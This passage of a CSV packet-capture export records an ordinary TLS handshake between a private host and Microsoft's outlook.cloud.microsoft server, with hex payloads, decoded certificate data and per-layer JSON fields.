\"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448193, \"\"ack\"\": 4197184398, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 57981, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:49.803682,84,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448193 Ack=4197184398,bc24112907bbbc2411360d0c0800450000f8af99400080066f330a98980b2862102efa0e01bb395dcb41fa2bf38e50180400714c000016030300cb010000c703036a2f1ba8c9299704c5cf1e37c3cca45b28718142b32ce2072427d9dc441c4b31000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000780000001c001a0000176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E.....@...o3\n...(b......9].A.+..P...qL.............j/...).....7...[(q.B.,..$'..D.K1..&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 248, \"\"id\"\": 44953, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28467, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448193, \"\"ack\"\": 4197184398, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 29004, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 203, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=199 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:22:48  (1781472168) random_bytes=c9299704c5cf1e37c3cca45b28718142b32ce2072427d9dc441c4b31 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=120 ext=[<TLS_Ext_ServerName  type=server_name len=28 servernameslen=26 servernames=[b'outlook.cloud.microsoft'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:49.803688,85,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197184398 Ack=962448401,bc2411360d0cbc24112907bb080045000028801340004006df892862102e0a98980b01bbfa0efa2bf38e395dcc115010003fdb4d0000,\".$.6\n..$.)....E..(..@.@...(b..\n........+..9]..P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32787, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57225, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197184398, \"\"ack\"\": 962448401, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.149226,86,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=4197184398 Ack=962448401,bc2411360d0cbc24112907bb080045000ff8801440004006cfb82862102e0a98980b01bbfa0efa2bf38e395dcc115018003feb1d00001603031fce0200006603036a2eb9391be5e42c1ced889242a9e632bba32cc878fb625b444f574e4752440120e5060000d6b0cec6993b641ba29d1dd7ebffd88f4d881911c63108b628dc041ec03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e3,\".$.6\n..$.)....E.....@.@...(b..\n........+..9]..P..?............f..j..9...,....B..2..,.x.b[DOWNGRD. .........;d.........M....1..(....0........#.........h2.....................\tS0.\tO0..7.......C.\n..T..........\n..0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260308001703Z.\n270303001703Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0\n.\t*.H..\n..........0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r\t.'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG\t..u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0..\t+.....7.\n..0.0\n..+.......0<.\t+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.u.e0...U.%..0\n..+.......0\n.\t*.H..\n............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'.\ti../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E\tr..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0\n.\t*.H..\n.....0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\n250801200259Z.\n290603200259Z0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0\n.\t*.H..\n..........0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B...\n...%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML\nT...=M\nF\tb.#\"\"Q..7L...@......S.........0..}0...U...........0..\t+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0..\t+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0\n.\t*.H..\n..........|Hq...E.t..?I....u..P..K....._.]5\nl....a`..8...5..!:..X.8|....M......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 32788, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53176, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197184398, \"\"ack\"\": 962448401, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 60189, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603031fce0200006603036a2eb9391be5e42c1ced889242a9e632bba32cc878fb625b444f574e4752440120e5060000d6b0cec6993b641ba29d1dd7ebffd88f4d881911c63108b628dc041ec03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4